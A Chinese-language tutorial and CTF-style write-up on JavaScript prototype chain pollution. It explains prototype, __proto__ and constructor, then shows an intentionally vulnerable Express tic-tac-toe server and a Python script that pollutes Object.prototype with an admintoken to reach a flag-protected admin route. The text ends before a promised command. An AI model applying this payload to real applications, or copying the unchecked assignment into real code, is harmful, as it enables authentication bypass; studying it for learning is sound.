目录
JS原型链污染
一、原型链
1.1什么是“原型对象”?
JS的每个函数在创建的时候,都会生成一个属性prototype,这个属性指向一个对象,这个对象就是此函数的原型对象。该原型对象中有个属性为constructor,指向该函数,原型对象和它的函数之间就产生了联系。原型链 JavaScript 中所有的对象都是由它的原型对象继承而来,每一个原型对象都有一个指向它的原型(prototype)的内部链接,这个原型对象又有它自己的原型,对象都是始于object的原型,即object.prototype,而最终原型是null。
1.2什么原型链
原型链使用继承原理,原型对象自身也是一个对象,它也有自己的原型对象,这样层层上溯,就形成了一个类似链表的结构,这就是原型链。
二、基础属性(prototype、proto、constructor)
2.1 prototype
简单来说,当我们创建一个函数的时候,系统就会自动分配一个 prototype属性,可以用来存储可以让所有实例共享的属性和方法。
function company(){
this.name = 'zs'
}
company.prototype.test = function test(){
console.log(this.name)
}
company.prototype.age = 20
let p1 = new company()
let p2 = new company()
p1.test() //zs
console.log(p1.age) //20
上面代码通过company的构造函数prototype,利用test方法在上面添加了一个name属性,因为company是创建的实例对象p1的原型对象,所以p1即使没有定义name属性也能直接使用test方法,也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。
2.2 __proto__
每个通过构造函数创建出来的实例对象,其本身有个属性__proto__,这个属性会指向该实例对象的构造函数的原型对象;因为我们可以通过Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,是不能通过prototype访问原型的,所以我们可以使用__proto__来访问想要查询的原型对象。
2.3 constructor
constructor是一个对象的数据属性,创建对象后,访问constructor属性,可以返回构造该对象的来源。
三、原型链污染例题
运行之前需要配置好node.js环境!
代码:
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
首先观察代码可以看到拿到flag的条件:
条件是user数组必须有admintoken这个属性,并且该属性的md5值必须等于传入的属性值
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
在中间有一行代码可有可控的参数,可以从中下手;
matrix[client.row][client.col] = client.data;
由于赋值语句中的data是可控的,matrix和user是在全局下定义的数组,所以我们可以利用这条语句传入我们的payload,污染原型链;
matrix[client.row][client.col] = client.data;
matrix.client.row.client.col = client.data;
matrix.__proto__.admintoken = md5(admin);
接着再通过python发送post请求:
import requests
import json
url1 = "http://192.168.1.12:3000/api"
url2 = "http://192.168.1.12:3000/admin?querytoken=21232f297a57a5a743894a0e4a801fc3"
s = requests.session()
headers = {"Content-type": "application/json"}
data1 = {"row": "__proto__", "col": "admintoken", "data": "admin"}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)
再运行编写的代码,发送post请求,成功拿到flag;
补充:
在搭建环境最后,使用本地IP地址访问3000端口时,一直报错,提示ip地址拒绝连接请求,原因是没有服务器没有打开,使用下面命令即可;